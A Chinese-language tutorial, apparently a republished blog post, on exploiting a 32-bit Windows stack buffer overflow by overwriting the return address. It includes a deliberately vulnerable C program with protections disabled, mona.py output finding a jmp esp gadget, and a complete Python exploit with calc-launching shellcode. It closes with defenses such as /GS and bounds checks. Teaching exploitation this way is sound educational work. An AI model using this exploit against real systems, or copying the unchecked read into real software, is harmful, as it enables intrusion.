前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >栈上内存溢出漏洞利用之Return Address

栈上内存溢出漏洞利用之Return Address

作者头像
河边一枝柳
发布2021-08-06 15:14:23
4600
发布2021-08-06 15:14:23
举报

程序员大多都碰到过栈上内存溢出,最常见的结果是导致程序Crash,有时候也有可能因为覆盖栈上的信息导致程序执行一些意想不到的逻辑,这种情况往往比起Crash更加糟糕。

在阅读本文之前,最好熟悉<<图解函数调用过程>>文章的讲解: 以32位程序为例,讲解了函数调用是如何利用栈的。

局部变量存放在栈上,而当局部变量是一个数组,那么在操作过程中就很容易发现溢出问题,即读/写数据操作了其空间。在大多数系统中,栈默认是由高地址向低地址扩展,并且在小端机器中低位在低地址,如果在写数组的时候超过变量访问的空间,则有可能覆盖上一个栈帧的数据。以下图为例, 在当前栈帧中,存在一个局部变量cszContent数组存放在栈上,此时对cszContentstrcpy之类的操作,不小心超过了32个字节,那么这时候拷贝的内容将会覆盖Return Address (当函数返回时,执行的下一条指令的地址), 以及Arguments

如果对cszContent的溢出操作,覆盖了Arguments你的程序就有可能会造成意想不到的行为。而本文要着重讲解的是黑客利用,栈上内存溢出覆盖Return Address,从而执行黑客想要执行的代码。那么是如何做到的呢?本文将通过栈上局部变量内存溢出注入一段代码,这段注入的代码将被执行并且弹出Windows自带的计算器。

这里也有必要声明一下,本文的所写内容大量参考了Massimiliano Tomassoli所编写的<<Modern Windows Exploit Development>>,有兴趣的可以阅读大神的作品,一定会收获颇多。

工具以及样例代码

  1. Windbg要会一些基本的指令
  2. Windbg安装python扩展pykd, 并且下载mona.py
  3. 样例代码,使用VS2017编译,32位程序。这段程序从test.txt文件中读取内容,并且用printf打印出来。这段代码问题多多,但我们本文主要集中在读取文件内容到cszContent中,文件内容可能长于cszContent的32个字节,导致栈上内存溢出问题。
代码语言:javascript
复制
#define _CRT_SECURE_NO_WARNINGS
#include <cstdio>

int main()
{
  char cszContent[32];

  // Step 1. Open File
  FILE * pFile = fopen("C:\\test\\test.txt", "rb");
  if (!pFile)
    return -1;

  fseek(pFile, 0L, SEEK_END);
  long lReadBytes = ftell(pFile);
  fseek(pFile, 0L, SEEK_SET);

  // Step 2. Read content from File
  fread(cszContent, 1, lReadBytes, pFile);
  cszContent[lReadBytes] = '\0';
  fclose(pFile);

  // Step 3. Output Content
  printf("File Content: %s", cszContent);
  return 0;
}

在Visual Studio工程项目中关闭GS检查,这样让样例程序在函数返回时不会检查栈是否破坏。

链接选项DEP开关开启后,将会保护栈的所属页的属性为不可执行,而我们这里将这个选项关闭,可以使我们在栈上执行代码。

因为在一些老的编译器中默认是不会带这些编译的保护选项的,本文只是为了演示,所以关闭了一些保护选项。

如何注入代码,并且执行?

在程序样例中,只要我们将执行的代码放入在test.txt中,那么就可以注入了,这里的代码不是我们的C/C++代码,而是平台可执行的机器码,而这一段注入的机器码一般称为ShellCode。先不谈如何写这段ShellCode,我们先想想注入后如何执行?

,利用当前ESP寄存器的来跳转到ShellCode,即jmp @ESP。下面详细说说: 第一步 先确定溢出的具体结构,如下图,当输入的文件为我们定制的攻击文件,cszContent产生的溢出。Return Address覆盖新的内容,其指令跳转到ShellCode,执行注入的指令。然而有个问题,程序执行的时候地址不一定是固定不变的,那如何知道我们ShellCode的虚拟地址呢?这个确实不太好获取,得转变一个思路。接着看。

第二步 有一种方法就是Return Address 跳转到一个中间指令jmp @ESP,为什么可以这么做呢?因为当执行ret函数返回的指令的时候,将ESP指向的值存储到EIP, 并且暗含的将ESP+4 ,此时ESP刚好指向ShellCode。那么这里我们便可以将Return Address覆盖为一个jmp @ESP的指令的地址。如下图的步骤所示。

第三步 那么刚刚提到的jump @ESP的指令的地址从哪里获取呢?这个程序也必须要在运行时加载。比如一般的Windows进程会加载ntdll.dllkernel32.dll等,这就要用到mona.py这个工具了,比如我们从ntdll.dll中搜索jump @ESP的指令位置: !py mona jmp -r ESP -m ntdll.dll。那么我们找到了一个0x77b3f973,那么我们只需要覆盖Return Address0x77b3f973

代码语言:javascript
复制
0:000> !py mona jmp -r ESP -m ntdll.dll
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\mona.py jmp -r ESP -m ntdll.dll

---------- Mona command started on 2021-05-16 16:20:01 (v2.0, rev 613) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules ntdll.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module ntdll.dll
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
    - Number of pointers of type 'jmp esp' : 2 
    - Number of pointers of type 'call esp' : 1 
    - Number of pointers of type 'push esp # ret ' : 4 
[+] Results : 
0x77b3f973 |   0x77b3f973 (b+0x000ff973)  : jmp esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, OS: True, v10.0.17134.2145 (ntdll.dll)
......

第四步 在掌握了利用栈溢出攻击的方法。那么如何准确的覆盖Return Address,这个如果有条件可以调试程序得到Return Address相对于cszContent,当然大多数时候都做不到,这个时候其实就是不断尝试的过程了。比如这个例子,我们知道的位置Return Address的栈上地址在cszContent起始地址 + 32(cszContent的大小) + 4 (Child EBP的大小) = cszContent起始地址 + 36的地方。

第五步 构造可以注入的Sample,其中重要的一部分是ShellCode的编写,一般采用汇编直接生成,在Massimiliano Tomassoli的著作<<Modern Windows Exploit Development>>中有详细介绍,可以查看,本文直接使用调用Windows计算器的ShellCode。不过要知道ShellCode是一段直接可以执行的机器码,并且一般具有如下特性:

  • 代码的执行不依赖于具体的位置
  • 尽量不要包含\0字符,因为一般都是利用了strcpy等API的缺陷(容易导致字符串操作内存溢出)如果中间存在\0则会中断后面的注入内容拷贝。 那么根据上述的几个步骤本文的注入Sample可以写为(使用Python脚本生成)。
代码语言:javascript
复制
with open('c:\\test\\test.txt', 'wb') as f: 
    # ret_eip为通过mona.py在ntdll.dll中搜索到的地址`0x77b3f973`
  ret_eip = '\x73\xf9\xb3\x77' 
  # 这一段shellcode来自于Massimiliano Tomassoli的著作<<Modern Windows Exploit Development>>
  shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+ "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+ "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+ "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+ "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+ "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+ "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+ "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+ "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+ "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+ "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+ "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+ "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+ "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+ "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+ "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+ "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+ "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+ "\x30\x03\xc6\xeb\xdd")
  # 根据计算ret_eip相对于内存溢出的局部变量地址为36个字节, 字符`a`可以是随意非`\0`字符
  sample = 'a' * 36 + ret_eip + shellcode
  f.write(sample)

第六步 执行效果图, 通过注入的代码,执行弹出了计算器。试想下,如果是黑客l利用,就不是这段Shell Code弹出一个计算器这么简单了。

如何防范栈上内存溢出导致的漏洞?

在Windows中现在的VisualStudio的版本中都默认开启了/GS编译选项(笔者没有确认从哪个版本开始有,不过使用者可以自己去确认当前编译项目配置是否开启了/GS编译选项)。其原理是在函数进入一开始设置一个Security Cookie (这个Security Cookie是在程序启动的时候根据进程号,时间戳等信息生成的),然后在函数退出的时候,检查这个Security Cookie则可以知道是否出现了栈上的内存溢出问题,如果出现则终止进程。

最好的方式是,在使用到内存的地方都对大小进行校验,比如读取的内存是否大于目标的内存。另一个就是微软推荐的使用微软安全函数xxxx_s之类的函数,比如strcpy_s, fread_s等。

参考

Massimiliano Tomassoli<<Modern Windows Exploit Development>>

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-05-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 一个程序员的修炼之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具以及样例代码
  • 如何注入代码,并且执行?
  • 如何防范栈上内存溢出导致的漏洞?
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档